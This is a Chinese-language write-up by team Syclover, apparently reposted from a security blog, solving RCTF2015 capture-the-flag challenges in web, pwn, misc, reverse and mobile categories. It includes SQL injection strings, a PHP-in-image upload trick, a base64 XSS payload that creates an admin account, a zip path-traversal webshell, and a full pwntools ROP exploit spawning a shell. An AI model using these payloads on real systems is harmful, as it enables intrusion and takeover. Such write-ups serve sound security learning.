记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

RCTF2015-writeup

2015-11-17 12:00

Team:Syclover

web

upload
看起来是一个上传题,其实这是一个注入题。在文件名的地方存在注入。因为注入点是insert的,如果直接进行报错注入或者延时注入的话会提示sqlinject find。我们可以利用二次注入,来得到数据。通过fuzz发现,在进行insert操作的时候有三个列,所以构造


文件名','uid','uid'),((database()),'uid','uid')

就可以看到回显的数据,然后通过走流程就可以查询出flag,但是有一点要注意题目直接把select from 这些关键字过滤了两次所以得构造这样的selselectect才行。

weeeeeb3

先注册一个帐号,然后找回密码,输入正确的信息。到第二步提示修改新的密码的时候,直接抓包把用户名修改为admin。然后就可以登陆admin这个帐号,然后在manage页面提示 not allow ip 我们把xxf改为127.0.0.1就可以绕过。然后要我们猜action 由于是filemanage就直接猜action=upload 然后就出现一个上传页面,通过一轮fuzz,直接上传一个图片马,在后面写上

<script lanaguage="php"> phpinfo()</script>

把后缀改为php5 就成功拿到了flag。

xss

这是一个留言板,通过fuzz发现过滤了很多标签,除此之外还把on事件直接给过滤了。后面测试发现可以使用link标签,然后使用sctf里面那种方法就可以弹框了。

<link rel="import" href="data:text/html;base64,PHNjcmlwdD5kZWxldGUgYWxlcnQ7YWxlcnQoIkhlbGxvIik7PC9zY3JpcHQ+"<

查看页面的html源码发现

<!--only for admin
<form action="" method="post">
username:<input type="text" name="name"><br />
password:<input type="password" name="pass"><br />
<input type="radio" name="isadmin" value="0">user
<input type="radio" name="isadmin" value="1">admin<br />
<input type="hidden" name="token" value="34a1615ff3eaf616f7fa205a12792d27">
<input type="submit" name="adduser" value="adduser">
</form>-->

很明显啦,就是要添加一个管理帐号帐号,发现页面使用啦jquery直接添加帐号就行。

javascript
<script src=http://180.76.178.54:8004/4b79f5d4860384d4ac494ad91f5313b7/js/jquery.js></script>
<script>
$.ajax({
type: "post",
url: "",
data: "name=tomato123&pass=tomato123&isadmin=1&adduser=adduser&token="+$("input[name=token]").val()})
</script>

然后构造payload

<link rel="import" href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovLzE4MC43Ni4xNzguNTQ6ODAwNC80Yjc5ZjVkNDg2MDM4NGQ0YWM0OTRhZDkxZjUzMTNiNy9qcy9qcXVlcnkuanM+PC9zY3JpcHQ+CjxzY3JpcHQ+CiQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAicG9zdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmw6ICIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YTogIm5hbWU9dG9tYXRvMTIzJnBhc3M9dG9tYXRvMTIzJmlzYWRtaW49MSZhZGR1c2VyPWFkZHVzZXImdG9rZW49IiskKCJpbnB1dFtuYW1lPXRva2VuXSIpLnZhbCgpfSkKPC9zY3JpcHQ+">

添加了一个帐号密码为tomato123的管理员 访问admin.php拿到flag

easysql

注册一个aaa\然后在修改密码的页面可以发现报错

可以看到是双引号,这明显是一个二次注入,然后重新构造语句发现不能含有空格。但是这并不影响,直接用括号代替就行了。

然后爆出一个flag表,查询提示说flag not here,然后去查users里面的列名发现

然后直接去查询里面的内容,发现只能出现RCTF这几个字符,然后就一直在纠结怎么查询,因为测试发现把substring left,right,reverse like 这些都拦截了。后面灵机一动想到了regexp。

username=tomato"||updatexml(0x7c,concat((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^R'))),1)#&password=tomato&email=tomato

然后成功搞定

login

第二天给了提示说是nosql,那就猜是mongodb

那就开始跑密码了。

跑出的帐号密码为

ROIS_ADMIN  pas5woRd_i5_45e2884c4e5b9df49c747e1d

然后登陆一发。


下载备份文件,发现是一个php的解压zip的类,然后百度找到官方提供的,在diff一下

还在html源码里面发现


$Agent = $_SERVER['HTTP_USER_AGENT'];
$backDoor = $_COOKIE['backdoor'];
$msg = json_encode("no privilege");
$iterations = 1000;
$salt = "roisctf";
$alg = "sha1";
$keylen = "20";
if ($Agent == $backDoor || strlen($Agent) != 65) {
exit($msg);
}
if (substr($Agent,0,23) != "rois_special_user_agent") {
exit($msg);
}
if (pbkdf2($alg, $Agent, $salt, $iterations, $keylen) != pbkdf2($alg, $backDoor, $salt, $iterations, $keylen)) {
exit($msg);
}

测试发现直接上传zip提示没有权限,然后只有过了上面三个条件才行。主要是第三个条件不好过,然后google一发 pdkdf2 ctf


找到了这个 PBKDF2+HMAC collision 然后在https://mathiasbynens.be/notes/pbkdf2-hmac
这篇文章里面说到这个是可以碰撞的,就是不同的明文会出现相同的密文,然后用里面提供的脚本跑一发。成功跑出来一个


rois_special_user_agentaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamipvkd

3-Rfm^Bq;ZZAcl]mS&eE `

然后改一下ua,在cookie里面添加backdoor就可以成功上传了。


按照解压出来的文件的命名规则为md5(文件名+RoisFighting).文件的后缀 但是访问http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/051ee28a1964f9f2779d32f2e48212cb/70d08f9380da3a6e0440b3266a2a39f6.php 文件并不存在,测试发现在解压后会直接删除文件,所以我们可以尝试构造一个解压到上级目录的shell

shell地址就是 http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/382aef24b11f8c5222bc58062a9bf5c7.php

pwn

pwn200

很明显的栈溢出,然后重点是利用… 没给libc,可以先写好leak,用dynelf来获取system的地址,之后构造rop搞定.


from pwn import *
from time import sleep
#p = process('./welpwn_932a4428ea8d4581431502ab7e66ea4b')
context(arch='amd64', os ='linux')
#p = remote('127.0.0.1',6666)
p = remote('180.76.178.48',6666)
elf1 = ELF('./welpwn_932a4428ea8d4581431502ab7e66ea4b')


got_write = elf1.got['write']
got_read = elf1.got['read']
log.info("got_write = %s" %(hex(got_write)))


addr_echo = 0x40081e
pop_rdi_ret = 0x4008a3
pop4_r12_ret = 0x40089c
pop6_rbx_ret = 0x40089a
s1 = 0x4008c9
call_r12_rbx_8 = 0x400889
mov_rdx_rsi_edi_call = 0x400880


ff = 0
def leak(address):
global ff
p.recvuntil('RCTF\n')
payload1 = 0x10*"C" + 0x8*"B" + p64(pop4_r12_ret)
payload1 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(got_write) + p64(8) + p64(address) + p64(1) + p64(mov_rdx_rsi_edi_call)
#payload1 += p64(0x0)*2 + p64(0x601580) + p64(0x0)*4
payload1 += 56*"1"
payload1 += p64(0x4007cd) #payload1_ret
p.sendline(payload1)

if ff==0:
data = p.recv(8)
ff=1
else:
p.recv(0x1b)
data = p.recv(8)

log.info("%#x => %s" % (address, (data or '').encode('hex')))
#log.info("get -> %s" %(data))
return data


d = DynELF(leak,elf = ELF('./welpwn_932a4428ea8d4581431502ab7e66ea4b'))
system_addr = d.lookup('system','libc')

log.info("system = %s " %(hex(system_addr)))
#log.info("binsh = %s " %(hex(binsh_addr)) )

#system_addr = 0x7ffff7a60e10
bbs_addr = 0x601260
payload2 = "A"*0x18 + p64(pop4_r12_ret)
payload2 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(got_read) + p64(0x11) + p64(bbs_addr) + p64(0) + p64(mov_rdx_rsi_edi_call)
payload2 += 56*"\x00"
payload2 += p64(0x4007cd)
#raw_input()
p.sendline(payload2)
sleep(1)
p.sendline("/bin/sh\0"+ p64(system_addr))


payload3 = "A"*0x18 + p64(pop4_r12_ret)
payload3 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(bbs_addr+8) + p64(0) + p64(0) + p64(bbs_addr) + p64(mov_rdx_rsi_edi_call)
payload3 += 56*"\x00"
payload3 += p64(0x4007cd)
p.sendline(payload3)

sleep(0.5)
p.interactive()


misc

一个log日志文件,是sqlmap跑注入留下的记录 搜索flag关键字,发现是一个二分法盲注,然后就是提权!=后面的值,解ascii

Re

Re100:

拖进ida,得到如下的反汇编


根据 v2 == 20 ,知道 sub_804867B((int)&unk_8049B80)函数,执行了20次循环,且是对输入的数字进行处理。该函数循环处理的是


将fun_1_1.txt中每行的下标对应的值相加 (函数循环部分)与fun_1_2.txt 中每行的值比较。 来到第二个处理函数


该函数循环中每个下标对应的数值相加(fun_2_1.txt),必须与fun_2_2.txt对对应的下标的数值相等. 最后解出数组的每个下标:得到1111211331146411510105116152015611721353521711828567056288119368412612684369111045120210252210120451011115516533046246233016555111112662204957929247924952206612111378286715128717161716128771528678131114913641001200230033432300320021001364911411151054551365300350056435643550053003136545510515111612056018204368800811440128701144080084368182056012016111713668023806188123761944824310243101944812376618823806801361711181538163060856818564318244375848620437583182418564856830608161531811191719693876116282713250388755829237892378755825038827132116283876969171191。Md5 加密 (32位) 即可得到 flag

Re200

游戏一般都会在一个循环里,不停的刷新界面,判断关卡等,那就找到消息循环函数:
进入标记为黄色的函数,

可以看到,有个为FileName的数组,后面是对他解密。 刚好为flag.txt

我们用Od打开,把EIP定位到这里,让他执行,,最后在目录下,得到flag.txt的文件, 得到flag

Mobile 100

拿到文件首先file一下,可以看到这是一个android backup文件,首先想到的是android backup漏洞。

这里直接用脚本解压,里面有两个目录。下面那个com.example.zi是没有用的,直接看com.example.mybackup。


反编译里面的apk可以看懂大概的逻辑就是读取一个加密过的sqlite的数据库,里面保存有Flag,这个数据库保存在备份目录下,可以通过backup漏洞restore到手机上就可以读取。


不过这里对数据库的所有操作都需要满足


但是这个this.mCursor一开始被赋值为null,所以这些操作都没有用。可以修改smali代码,在入口把这个this.mCursor赋值为


不过我修改完后反编译的apk不能运行,可能是我apktool的问题。所以弄清楚程序的逻辑后我们可以自己写一个读取这个数据库的应用,然后把flag打印出来。

这里的key是原程序的签名。然后把BOOKS.db放到这个应用的目录下,运行就可以看到打印的Flag。

Mobile300

先运行下apk,Toast说这是一个Misc。反编译后看了下逻辑也很简单,apk的代码没有什么用。然后就开始找其他线索。首先在assets目录下可以看到一个abc的文件,用16进制编辑器打开后可以看到dex.035的魔术字,而且这个abc的大小是0×70字节,正好是dex文件头的大小。所以可以确定我们需要修复一个dex文件,这个abc就是dex的文件头。

从dex文件头还可以获得的信息是原dex文件的大小是1395184字节,除去文件头的大小我们还需要1395072字节。在META-INF目录又找到一个y文件,打开后并没有发现有用的信息,先放着。然后是找dex的主体数据,这里我将apk反编译后再回编译,和原apk对比,发现CERT.RSA变小很多,所以打开原apk中的CERT.RSA,果然看到了隐藏的数据。
在文件尾还看到了aes-128-cbc的字符。

把”DEX=”后面的数据抠出来,然后用openssl命令解密。这道题主要就卡在解密这里,开始用的是”Misc@inf0#fjhx11″的16进制作为key,解密出来不对,后来看了tips加了-nosalt,然后用”Misc@inf0#fjhx11″作为key,就可以解密出来了。

解密后的文件大小刚好是1395072字节。将这段数据和dex头拼接起来,反编译失败,估计还需要做修复。又看了下dex头,发现string_ids_size,type_ids_size这些字段都是0,这里可以根据偏移值来得到size,修复成功后再反编译就能成功了。但是又发现MainActivity的OnCreate方法反编译失败,在dex文件中找到这个方法的数据,发现全是0。


再看前面的y文件,发现它的大小正是这个方法的大小。将y中的数据修补回来,再次反编译,就可以看到方法了。


得到Flag:h3ll02_GetfLag。

知识来源: blog.sycsec.com/?p=808

阅读:717005 | 评论:0 | 标签:WarGame

想收藏或者和大家分享这篇好文章→复制链接地址

“RCTF2015-writeup”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云